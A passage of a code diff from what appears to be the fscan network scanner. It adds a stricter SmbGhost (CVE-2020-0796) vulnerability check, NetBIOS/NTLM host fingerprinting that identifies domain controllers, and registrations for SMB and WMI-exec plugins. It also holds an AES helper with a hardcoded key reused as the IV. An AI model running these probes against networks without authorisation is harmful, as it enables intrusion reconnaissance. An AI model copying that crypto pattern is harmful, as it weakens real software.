Update

Add colored output

.github/conf/.goreleaser.yml

@@ -1,66 +1,55 @@
 before:
   hooks:
     - go mod tidy
-    - go generate ./...
 builds:
-  - id: "with-upx"
+  -
+    id: default
     env:
       - CGO_ENABLED=0
     goos:
-      - linux
       - windows
+      - linux
       - darwin
+      - freebsd
+      - solaris
     goarch:
       - amd64
-      - arm64
-      - arm
       - "386"
-    goarm:
-      - "6"
-      - "7"
-    flags:
-      - -trimpath
-    ldflags:
-      - -s -w -X main.version={{.Version}} -X main.commit={{.Commit}} -X main.date={{ .CommitDate }} -X main.builtBy=goreleaser
-    ignore:
-      - goos: windows
-        goarch: arm64
-      - goos: windows
-        goarch: arm
-      - goos: linux
-        goarch: mips64
-    hooks:
-       post: upx --best -f -q "{{ .Path }}"
-
-# UnknownExecutableFormatException
-# CantPackException: can't pack new-exe
-  - id: "without-upx"
-    env:
-      - CGO_ENABLED=0
-    goos:
-      - linux
-      - windows
-    goarch:
-      - mips64
       - arm
+      - arm64
+      - mips
+      - mipsle
+      - mips64
     goarm:
       - "6"
       - "7"
     flags:
       - -trimpath
     ldflags:
-      - -s -w -X main.version={{.Version}} -X main.commit={{.Commit}} -X main.date={{ .CommitDate }} -X main.builtBy=goreleaser
-    ignore:
-      - goos: linux
-        goarch: arm
-
+      - -s -w
+upx:
+  -
+    ids: [ default ]
+    enabled: true
+    goos: ["windows", "linux"]
+    goarch: ["amd64", "386"]
+    compress: best
+#    lzma: true
+#    brute: true
 archives:
-  - replacements:
-      darwin: Darwin
-      linux: Linux
-      windows: Windows
-      386: i386
-      amd64: x86_64
+  -
+    format: binary
+    allow_different_binary_count: true
+    name_template: >-
+      {{- .ProjectName }}
+      {{- if eq .Os "darwin"}}_mac
+      {{- else if eq .Os "linux"}}
+      {{- else if eq .Os "windows"}}
+      {{- else }}_{{ .Os }}{{ end }}
+      {{- if eq .Arch "amd64" }}
+      {{- else if eq .Arch "386" }}32
+      {{- else }}_{{ .Arch }}{{ end }}
+      {{- if .Arm }}v{{ .Arm }}{{ end -}}
 checksum:
   name_template: 'checksums.txt'
 snapshot:
@@ -71,3 +60,5 @@ changelog:
     exclude:
       - '^docs:'
       - '^test:'
+      - "^*.md"
+      - "^*.ya?ml"

.github/workflows/release.yml

@@ -13,23 +13,31 @@ jobs:
     runs-on: ubuntu-latest
     timeout-minutes: 60
     steps:
-      -
-        name: Checkout
-        uses: actions/checkout@v2
+      - name: "Check out code"
+        uses: actions/checkout@v3
         with:
           fetch-depth: 0
-      -
-        name: Set up Go
-        uses: actions/setup-go@v2
+
+      - name: "Set up Go"
+        uses: actions/setup-go@v4
         with:
-          go-version: 1.17
+          go-version: 1.21.x
       -
-        name: Run GoReleaser
-        uses: goreleaser/goreleaser-action@v2
+        name: Install UPX
+        uses: crazy-max/ghaction-upx@v3
+        with:
+          install-only: true
+
+      - name: UPX version
+        run: upx --version
+
+      -
+        name: "Create release on GitHub"
+        uses: goreleaser/goreleaser-action@v4
         with:
           distribution: goreleaser
           version: latest
-          args: -f .github/conf/.goreleaser.yml
+          args: "release --clean --debug -f .github/conf/.goreleaser.yml"
           workdir: .
         env:
-          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

.gitignore

@@ -0,0 +1 @@
+result.txt

Plugins/CVE-2020-0796.go

@@ -103,17 +103,13 @@ func SmbGhost(info *common.HostInfo) error {
 }
 
 func SmbGhostScan(info *common.HostInfo) error {
-	ip, port, timeout := info.Host, 445, time.Duration(info.Timeout)*time.Second
+	ip, port, timeout := info.Host, 445, time.Duration(common.Timeout)*time.Second
 	addr := fmt.Sprintf("%s:%v", info.Host, port)
 	conn, err := common.WrapperTcpWithTimeout("tcp", addr, timeout)
-	defer func() {
-		if conn != nil {
-			conn.Close()
-		}
-	}()
 	if err != nil {
 		return err
 	}
+	defer conn.Close()
 	_, err = conn.Write([]byte(pkt))
 	if err != nil {
 		return err
@@ -121,13 +117,12 @@ func SmbGhostScan(info *common.HostInfo) error {
 	buff := make([]byte, 1024)
 	err = conn.SetReadDeadline(time.Now().Add(timeout))
 	n, err := conn.Read(buff)
-	if err != nil {
+	if err != nil || n == 0 {
 		return err
 	}
-	if bytes.Contains(buff[:n], []byte("Public")) == true {
+	if bytes.Contains(buff[:n], []byte("Public")) == true && len(buff[:n]) >= 76 && bytes.Equal(buff[72:74], []byte{0x11, 0x03}) && bytes.Equal(buff[74:76], []byte{0x02, 0x00}) {
 		result := fmt.Sprintf("[+] %v CVE-2020-0796 SmbGhost Vulnerable", ip)
 		common.LogSuccess(result)
-
 	}
 	return err
 }

Plugins/NetBIOS.go

@@ -2,89 +2,50 @@ package Plugins
 
 import (
 	"bytes"
+	"errors"
 	"fmt"
 	"github.com/shadow1ng/fscan/common"
+	"gopkg.in/yaml.v3"
 	"net"
 	"strconv"
 	"strings"
 	"time"
 )
 
-var (
-	UNIQUE_NAMES = map[string]string{
-		"\x00": "Workstation Service",
-		"\x03": "Messenger Service",
-		"\x06": "RAS Server Service",
-		"\x1F": "NetDDE Service",
-		"\x20": "Server Service",
-		"\x21": "RAS Client Service",
-		"\xBE": "Network Monitor Agent",
-		"\xBF": "Network Monitor Application",
-		"\x1D": "Master Browser",
-		"\x1B": "Domain Master Browser",
-	}
-
-	GROUP_NAMES = map[string]string{
-		"\x00": "Domain Name",
-		"\x1C": "Domain Controllers",
-		"\x1E": "Browser Service Elections",
-	}
-
-	NetBIOS_ITEM_TYPE = map[string]string{
-		"\x01\x00": "NetBIOS computer name",
-		"\x02\x00": "NetBIOS domain name",
-		"\x03\x00": "DNS computer name",
-		"\x04\x00": "DNS domain name",
-		"\x05\x00": "DNS tree name",
-		"\x07\x00": "Time stamp",
-	}
-)
-
-type NbnsName struct {
-	unique    string
-	group     string
-	msg       string
-	osversion string
-}
+var errNetBIOS = errors.New("netbios error")
 
 func NetBIOS(info *common.HostInfo) error {
-	nbname, err := NetBIOS1(info)
-	var msg, isdc string
-
-	if strings.Contains(nbname.msg, "Domain Controllers") {
-		isdc = "[+]DC"
+	netbios, _ := NetBIOS1(info)
+	output := netbios.String()
+	if len(output) > 0 {
+		result := fmt.Sprintf("[*] NetBios %-15s %s", info.Host, output)
+		common.LogSuccess(result)
+		return nil
 	}
-	msg += fmt.Sprintf("[*] %-15s%-5s %s\\%-15s   %s", info.Host, isdc, nbname.group, nbname.unique, nbname.osversion)
-
-	if info.Scantype == "netbios" {
-		msg += "\n-------------------------------------------\n" + nbname.msg
-	}
-	if len(nbname.group) > 0 || len(nbname.unique) > 0 {
-		common.LogSuccess(msg)
-	}
-	return err
+	return errNetBIOS
 }
 
-func NetBIOS1(info *common.HostInfo) (nbname NbnsName, err error) {
-	nbname, err = GetNbnsname(info)
+func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) {
+	netbios, err = GetNbnsname(info)
 	var payload0 []byte
-	if err == nil {
-		name := netbiosEncode(nbname.unique)
+	if netbios.ServerService != "" || netbios.WorkstationService != "" {
+		ss := netbios.ServerService
+		if ss == "" {
+			ss = netbios.WorkstationService
+		}
+		name := netbiosEncode(ss)
 		payload0 = append(payload0, []byte("\x81\x00\x00D ")...)
 		payload0 = append(payload0, name...)
 		payload0 = append(payload0, []byte("\x00 EOENEBFACACACACACACACACACACACACA\x00")...)
 	}
 	realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
-	conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
-	defer func() {
-		if conn != nil{
-			conn.Close()
-		}
-	}()
+	var conn net.Conn
+	conn, err = common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
 	if err != nil {
 		return
 	}
-	err = conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
+	defer conn.Close()
+	err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
 	if err != nil {
 		return
 	}
@@ -94,116 +55,45 @@ func NetBIOS1(info *common.HostInfo) (nbname NbnsName, err error) {
 		if err1 != nil {
 			return
 		}
-		_, err1 = readbytes(conn)
+		_, err1 = ReadBytes(conn)
 		if err1 != nil {
 			return
 		}
 	}
 
-	payload1 := []byte("\x00\x00\x00\x85\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00")
-	payload2 := []byte("\x00\x00\x01\x0a\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x18\x07\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x40\x00\x0c\xff\x00\x0a\x01\x04\x41\x32\x00\x00\x00\x00\x00\x00\x00\x4a\x00\x00\x00\x00\x00\xd4\x00\x00\xa0\xcf\x00\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x02\xce\x0e\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x65\x00\x72\x00\x20\x00\x32\x00\x30\x00\x30\x00\x33\x00\x20\x00\x33\x00\x37\x00\x39\x00\x30\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x32\x00\x00\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x65\x00\x72\x00\x20\x00\x32\x00\x30\x00\x30\x00\x33\x00\x20\x00\x35\x00\x2e\x00\x32\x00\x00\x00\x00\x00")
-	_, err = conn.Write(payload1)
+	_, err = conn.Write(NegotiateSMBv1Data1)
 	if err != nil {
 		return
 	}
-	_, err = readbytes(conn)
+	_, err = ReadBytes(conn)
 	if err != nil {
 		return
 	}
 
-	_, err = conn.Write(payload2)
+	_, err = conn.Write(NegotiateSMBv1Data2)
 	if err != nil {
 		return
 	}
-	ret, err := readbytes(conn)
-	if err != nil || len(ret) < 45 {
-		return
-	}
-
-	num1, err := bytetoint(ret[43:44][0])
+	var ret []byte
+	ret, err = ReadBytes(conn)
 	if err != nil {
 		return
 	}
-	num2, err := bytetoint(ret[44:45][0])
-	if err != nil {
-		return
-	}
-	length := num1 + num2*256
-	if len(ret) < 48+length {
-		return
-	}
-	os_version := ret[47+length:]
-	tmp1 := bytes.ReplaceAll(os_version, []byte{0x00, 0x00}, []byte{124})
-	tmp1 = bytes.ReplaceAll(tmp1, []byte{0x00}, []byte{})
-	msg1 := string(tmp1[:len(tmp1)-1])
-	nbname.osversion = msg1
-	index1 := strings.Index(msg1, "|")
-	if index1 > 0 {
-		nbname.osversion = nbname.osversion[:index1]
-	}
-	nbname.msg += "-------------------------------------------\n"
-	nbname.msg += msg1 + "\n"
-	start := bytes.Index(ret, []byte("NTLMSSP"))
-	if len(ret) < start+45 {
-		return
-	}
-	num1, err = bytetoint(ret[start+40 : start+41][0])
-	if err != nil {
-		return
-	}
-	num2, err = bytetoint(ret[start+41 : start+42][0])
-	if err != nil {
-		return
-	}
-	length = num1 + num2*256
-	num1, err = bytetoint(ret[start+44 : start+45][0])
-	if err != nil {
-		return
-	}
-	offset, err := bytetoint(ret[start+44 : start+45][0])
-	if err != nil || len(ret) < start+offset+length {
-		return
-	}
-	index := start + offset
-	for index < start+offset+length {
-		item_type := ret[index : index+2]
-		num1, err = bytetoint(ret[index+2 : index+3][0])
-		if err != nil {
-			return
-		}
-		num2, err = bytetoint(ret[index+3 : index+4][0])
-		if err != nil {
-			return
-		}
-		item_length := num1 + num2*256
-		item_content := bytes.ReplaceAll(ret[index+4:index+4+item_length], []byte{0x00}, []byte{})
-		index += 4 + item_length
-		if string(item_type) == "\x07\x00" {
-			//Time stamp, 暂时不想处理
-		} else if NetBIOS_ITEM_TYPE[string(item_type)] != "" {
-			nbname.msg += fmt.Sprintf("%-22s: %s\n", NetBIOS_ITEM_TYPE[string(item_type)], string(item_content))
-		} else if string(item_type) == "\x00\x00" {
-			break
-		} else {
-			nbname.msg += fmt.Sprintf("Unknown: %s\n", string(item_content))
-		}
-	}
-	return nbname, err
+	netbios2, err := ParseNTLM(ret)
+	JoinNetBios(&netbios, &netbios2)
+	return
 }
 
-func GetNbnsname(info *common.HostInfo) (nbname NbnsName, err error) {
+func GetNbnsname(info *common.HostInfo) (netbios NetBiosInfo, err error) {
 	senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1}
-	realhost := fmt.Sprintf("%s:%v", info.Host, 137)
-	conn, err := net.DialTimeout("udp", realhost, time.Duration(info.Timeout)*time.Second)
-	defer func() {
-		if conn != nil{
-			conn.Close()
-		}
-	}()
+	//senddata1 := []byte("ff\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00 CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00!\x00\x01")
+	realhost := fmt.Sprintf("%s:137", info.Host)
+	conn, err := net.DialTimeout("udp", realhost, time.Duration(common.Timeout)*time.Second)
 	if err != nil {
 		return
 	}
-	err = conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
+	defer conn.Close()
+	err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
 	if err != nil {
 		return
 	}
@@ -211,61 +101,11 @@ func GetNbnsname(info *common.HostInfo) (nbname NbnsName, err error) {
 	if err != nil {
 		return
 	}
-	text, err := readbytes(conn)
-	if err != nil {
-		return
-	}
-	if len(text) < 57 {
-		return nbname, fmt.Errorf("no names available")
-	}
-	num, err := bytetoint(text[56:57][0])
-	if err != nil {
-		return
-	}
-	data := text[57:]
-	var msg string
-	for i := 0; i < num; i++ {
-		if len(data) < 18*i+16 {
-			break
-		}
-		name := string(data[18*i : 18*i+15])
-		flag_bit := data[18*i+15 : 18*i+16]
-		if GROUP_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" {
-			msg += fmt.Sprintf("%s G %s\n", name, GROUP_NAMES[string(flag_bit)])
-		} else if UNIQUE_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" {
-			msg += fmt.Sprintf("%s U %s\n", name, UNIQUE_NAMES[string(flag_bit)])
-		} else if string(flag_bit) == "\x00" || len(data) >= 18*i+18 {
-			name_flags := data[18*i+16 : 18*i+18][0]
-			if name_flags >= 128 {
-				nbname.group = strings.Replace(name, " ", "", -1)
-				msg += fmt.Sprintf("%s G %s\n", name, GROUP_NAMES[string(flag_bit)])
-			} else {
-				nbname.unique = strings.Replace(name, " ", "", -1)
-				msg += fmt.Sprintf("%s U %s\n", name, UNIQUE_NAMES[string(flag_bit)])
-			}
-		} else {
-			msg += fmt.Sprintf("%s \n", name)
-		}
-	}
-	nbname.msg += msg
+	text, _ := ReadBytes(conn)
+	netbios, err = ParseNetBios(text)
 	return
 }
 
-func readbytes(conn net.Conn) (result []byte, err error) {
-	buf := make([]byte, 4096)
-	for {
-		count, err := conn.Read(buf)
-		if err != nil {
-			break
-		}
-		result = append(result, buf[0:count]...)
-		if count < 4096 {
-			break
-		}
-	}
-	return result, err
-}
-
 func bytetoint(text byte) (int, error) {
 	num1 := fmt.Sprintf("%v", text)
 	num, err := strconv.Atoi(num1)
@@ -287,3 +127,241 @@ func netbiosEncode(name string) (output []byte) {
 	}
 	return
 }
+
+var (
+	UNIQUE_NAMES = map[string]string{
+		"\x00": "WorkstationService",
+		"\x03": "Messenger Service",
+		"\x06": "RAS Server Service",
+		"\x1F": "NetDDE Service",
+		"\x20": "ServerService",
+		"\x21": "RAS Client Service",
+		"\xBE": "Network Monitor Agent",
+		"\xBF": "Network Monitor Application",
+		"\x1D": "Master Browser",
+		"\x1B": "Domain Master Browser",
+	}
+
+	GROUP_NAMES = map[string]string{
+		"\x00": "DomainName",
+		"\x1C": "DomainControllers",
+		"\x1E": "Browser Service Elections",
+	}
+
+	NetBIOS_ITEM_TYPE = map[string]string{
+		"\x01\x00": "NetBiosComputerName",
+		"\x02\x00": "NetBiosDomainName",
+		"\x03\x00": "ComputerName",
+		"\x04\x00": "DomainName",
+		"\x05\x00": "DNS tree name",
+		"\x07\x00": "Time stamp",
+	}
+	NegotiateSMBv1Data1 = []byte{
+		0x00, 0x00, 0x00, 0x85, 0xFF, 0x53, 0x4D, 0x42, 0x72, 0x00, 0x00, 0x00, 0x00, 0x18, 0x53, 0xC8,
+		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFE,
+		0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0x00, 0x02, 0x50, 0x43, 0x20, 0x4E, 0x45, 0x54, 0x57, 0x4F,
+		0x52, 0x4B, 0x20, 0x50, 0x52, 0x4F, 0x47, 0x52, 0x41, 0x4D, 0x20, 0x31, 0x2E, 0x30, 0x00, 0x02,
+		0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x31, 0x2E, 0x30, 0x00, 0x02, 0x57, 0x69, 0x6E, 0x64, 0x6F,
+		0x77, 0x73, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x57, 0x6F, 0x72, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x70,
+		0x73, 0x20, 0x33, 0x2E, 0x31, 0x61, 0x00, 0x02, 0x4C, 0x4D, 0x31, 0x2E, 0x32, 0x58, 0x30, 0x30,
+		0x32, 0x00, 0x02, 0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x32, 0x2E, 0x31, 0x00, 0x02, 0x4E, 0x54,
+		0x20, 0x4C, 0x4D, 0x20, 0x30, 0x2E, 0x31, 0x32, 0x00,
+	}
+	NegotiateSMBv1Data2 = []byte{
+		0x00, 0x00, 0x01, 0x0A, 0xFF, 0x53, 0x4D, 0x42, 0x73, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0xC8,
+		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFE,
+		0x00, 0x00, 0x40, 0x00, 0x0C, 0xFF, 0x00, 0x0A, 0x01, 0x04, 0x41, 0x32, 0x00, 0x00, 0x00, 0x00,
+		0x00, 0x00, 0x00, 0x4A, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD4, 0x00, 0x00, 0xA0, 0xCF, 0x00, 0x60,
+		0x48, 0x06, 0x06, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x02, 0xA0, 0x3E, 0x30, 0x3C, 0xA0, 0x0E, 0x30,
+		0x0C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x02, 0x0A, 0xA2, 0x2A, 0x04,
+		0x28, 0x4E, 0x54, 0x4C, 0x4D, 0x53, 0x53, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x82, 0x08,
+		0xA2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+		0x00, 0x05, 0x02, 0xCE, 0x0E, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x57, 0x00, 0x69, 0x00, 0x6E, 0x00,
+		0x64, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00, 0x72, 0x00,
+		0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x30, 0x00, 0x33, 0x00,
+		0x20, 0x00, 0x33, 0x00, 0x37, 0x00, 0x39, 0x00, 0x30, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00,
+		0x72, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, 0x20, 0x00, 0x50, 0x00, 0x61, 0x00,
+		0x63, 0x00, 0x6B, 0x00, 0x20, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0x00, 0x69, 0x00,
+		0x6E, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00,
+		0x72, 0x00, 0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x30, 0x00,
+		0x33, 0x00, 0x20, 0x00, 0x35, 0x00, 0x2E, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00,
+	}
+)
+
+type NetBiosInfo struct {
+	GroupName          string
+	WorkstationService string `yaml:"WorkstationService"`
+	ServerService      string `yaml:"ServerService"`
+	DomainName         string `yaml:"DomainName"`
+	DomainControllers  string `yaml:"DomainControllers"`
+	ComputerName       string `yaml:"ComputerName"`
+	OsVersion          string `yaml:"OsVersion"`
+	NetDomainName      string `yaml:"NetBiosDomainName"`
+	NetComputerName    string `yaml:"NetBiosComputerName"`
+}
+
+func (info *NetBiosInfo) String() (output string) {
+	var text string
+	//ComputerName 信息比较全
+	if info.ComputerName != "" {
+		if !strings.Contains(info.ComputerName, ".") && info.GroupName != "" {
+			text = fmt.Sprintf("%s\\%s", info.GroupName, info.ComputerName)
+		} else {
+			text = info.ComputerName
+		}
+	} else {
+		//组信息
+		if info.DomainName != "" {
+			text += info.DomainName
+			text += "\\"
+		} else if info.NetDomainName != "" {
+			text += info.NetDomainName
+			text += "\\"
+		}
+		//机器名
+		if info.ServerService != "" {
+			text += info.ServerService
+		} else if info.WorkstationService != "" {
+			text += info.WorkstationService
+		} else if info.NetComputerName != "" {
+			text += info.NetComputerName
+		}
+	}
+	if text == "" {
+	} else if info.DomainControllers != "" {
+		output = fmt.Sprintf("[+] DC:%-24s", text)
+	} else {
+		output = fmt.Sprintf("%-30s", text)
+	}
+	if info.OsVersion != "" {
+		output += "      " + info.OsVersion
+	}
+	return
+}
+
+func ParseNetBios(input []byte) (netbios NetBiosInfo, err error) {
+	if len(input) < 57 {
+		err = errNetBIOS
+		return
+	}
+	data := input[57:]
+	var num int
+	num, err = bytetoint(input[56:57][0])
+	if err != nil {
+		return
+	}
+	var msg string
+	for i := 0; i < num; i++ {
+		if len(data) < 18*i+16 {
+			break
+		}
+		name := string(data[18*i : 18*i+15])
+		flag_bit := data[18*i+15 : 18*i+16]
+		if GROUP_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" {
+			msg += fmt.Sprintf("%s: %s\n", GROUP_NAMES[string(flag_bit)], name)
+		} else if UNIQUE_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" {
+			msg += fmt.Sprintf("%s: %s\n", UNIQUE_NAMES[string(flag_bit)], name)
+		} else if string(flag_bit) == "\x00" || len(data) >= 18*i+18 {
+			name_flags := data[18*i+16 : 18*i+18][0]
+			if name_flags >= 128 {
+				msg += fmt.Sprintf("%s: %s\n", GROUP_NAMES[string(flag_bit)], name)
+			} else {
+				msg += fmt.Sprintf("%s: %s\n", UNIQUE_NAMES[string(flag_bit)], name)
+			}
+		} else {
+			msg += fmt.Sprintf("%s \n", name)
+		}
+	}
+	if len(msg) == 0 {
+		err = errNetBIOS
+		return
+	}
+	err = yaml.Unmarshal([]byte(msg), &netbios)
+	if netbios.DomainName != "" {
+		netbios.GroupName = netbios.DomainName
+	}
+	return
+}
+
+func ParseNTLM(ret []byte) (netbios NetBiosInfo, err error) {
+	if len(ret) < 47 {
+		err = errNetBIOS
+		return
+	}
+	var num1, num2 int
+	num1, err = bytetoint(ret[43:44][0])
+	if err != nil {
+		return
+	}
+	num2, err = bytetoint(ret[44:45][0])
+	if err != nil {
+		return
+	}
+	length := num1 + num2*256
+	if len(ret) < 48+length {
+		return
+	}
+	os_version := ret[47+length:]
+	tmp1 := bytes.ReplaceAll(os_version, []byte{0x00, 0x00}, []byte{124})
+	tmp1 = bytes.ReplaceAll(tmp1, []byte{0x00}, []byte{})
+	ostext := string(tmp1[:len(tmp1)-1])
+	ss := strings.Split(ostext, "|")
+	netbios.OsVersion = ss[0]
+	start := bytes.Index(ret, []byte("NTLMSSP"))
+	if len(ret) < start+45 {
+		return
+	}
+	num1, err = bytetoint(ret[start+40 : start+41][0])
+	if err != nil {
+		return
+	}
+	num2, err = bytetoint(ret[start+41 : start+42][0])
+	if err != nil {
+		return
+	}
+	length = num1 + num2*256
+	_, err = bytetoint(ret[start+44 : start+45][0])
+	if err != nil {
+		return
+	}
+	offset, err := bytetoint(ret[start+44 : start+45][0])
+	if err != nil || len(ret) < start+offset+length {
+		return
+	}
+	var msg string
+	index := start + offset
+	for index < start+offset+length {
+		item_type := ret[index : index+2]
+		num1, err = bytetoint(ret[index+2 : index+3][0])
+		if err != nil {
+			continue
+		}
+		num2, err = bytetoint(ret[index+3 : index+4][0])
+		if err != nil {
+			continue
+		}
+		item_length := num1 + num2*256
+		item_content := bytes.ReplaceAll(ret[index+4:index+4+item_length], []byte{0x00}, []byte{})
+		index += 4 + item_length
+		if string(item_type) == "\x07\x00" {
+			//Time stamp, 不需要输出
+		} else if NetBIOS_ITEM_TYPE[string(item_type)] != "" {
+			msg += fmt.Sprintf("%s: %s\n", NetBIOS_ITEM_TYPE[string(item_type)], string(item_content))
+		} else if string(item_type) == "\x00\x00" {
+			break
+		}
+	}
+	err = yaml.Unmarshal([]byte(msg), &netbios)
+	return
+}
+
+func JoinNetBios(netbios1, netbios2 *NetBiosInfo) *NetBiosInfo {
+	netbios1.ComputerName = netbios2.ComputerName
+	netbios1.NetDomainName = netbios2.NetDomainName
+	netbios1.NetComputerName = netbios2.NetComputerName
+	if netbios2.DomainName != "" {
+		netbios1.DomainName = netbios2.DomainName
+	}
+	netbios1.OsVersion = netbios2.OsVersion
+	return netbios1
+}

Plugins/base.go

@@ -1,22 +1,105 @@
 package Plugins
 
+import (
+	"bytes"
+	"crypto/aes"
+	"crypto/cipher"
+	"encoding/base64"
+	"net"
+)
+
 var PluginList = map[string]interface{}{
-	"21":       FtpScan,
-	"22":       SshScan,
-	"135":      Findnet,
-	"139":      NetBIOS,
-	"445":      SmbScan,
-	"1433":     MssqlScan,
-	"1521":     OracleScan,
-	"3306":     MysqlScan,
-	"3389":     RdpScan,
-	"5432":     PostgresScan,
-	"6379":     RedisScan,
-	"9000":     FcgiScan,
-	"11211":    MemcachedScan,
-	"27017":    MongodbScan,
-	"1000001":  MS17010,
-	"1000002":  SmbGhost,
-	"1000003":  WebTitle,
-	"10000031": WebTitle,
+	"21":      FtpScan,
+	"22":      SshScan,
+	"135":     Findnet,
+	"139":     NetBIOS,
+	"445":     SmbScan,
+	"1433":    MssqlScan,
+	"1521":    OracleScan,
+	"3306":    MysqlScan,
+	"3389":    RdpScan,
+	"5432":    PostgresScan,
+	"6379":    RedisScan,
+	"9000":    FcgiScan,
+	"11211":   MemcachedScan,
+	"27017":   MongodbScan,
+	"1000001": MS17010,
+	"1000002": SmbGhost,
+	"1000003": WebTitle,
+	"1000004": SmbScan2,
+	"1000005": WmiExec,
+}
+
+func ReadBytes(conn net.Conn) (result []byte, err error) {
+	size := 4096
+	buf := make([]byte, size)
+	for {
+		count, err := conn.Read(buf)
+		if err != nil {
+			break
+		}
+		result = append(result, buf[0:count]...)
+		if count < size {
+			break
+		}
+	}
+	if len(result) > 0 {
+		err = nil
+	}
+	return result, err
+}
+
+var key = "0123456789abcdef"
+
+func AesEncrypt(orig string, key string) string {
+	// 转成字节数组
+	origData := []byte(orig)
+	k := []byte(key)
+	// 分组秘钥
+	// NewCipher该函数限制了输入k的长度必须为16, 24或者32
+	block, _ := aes.NewCipher(k)
+	// 获取秘钥块的长度
+	blockSize := block.BlockSize()
+	// 补全码
+	origData = PKCS7Padding(origData, blockSize)
+	// 加密模式
+	blockMode := cipher.NewCBCEncrypter(block, k[:blockSize])
+	// 创建数组
+	cryted := make([]byte, len(origData))
+	// 加密
+	blockMode.CryptBlocks(cryted, origData)
+	return base64.StdEncoding.EncodeToString(cryted)
+}
+func AesDecrypt(cryted string, key string) string {
+	// 转成字节数组
+	crytedByte, _ := base64.StdEncoding.DecodeString(cryted)
+	k := []byte(key)
+	// 分组秘钥
+	block, _ := aes.NewCipher(k)
+	// 获取秘钥块的长度
+	blockSize := block.BlockSize()
+	// 加密模式
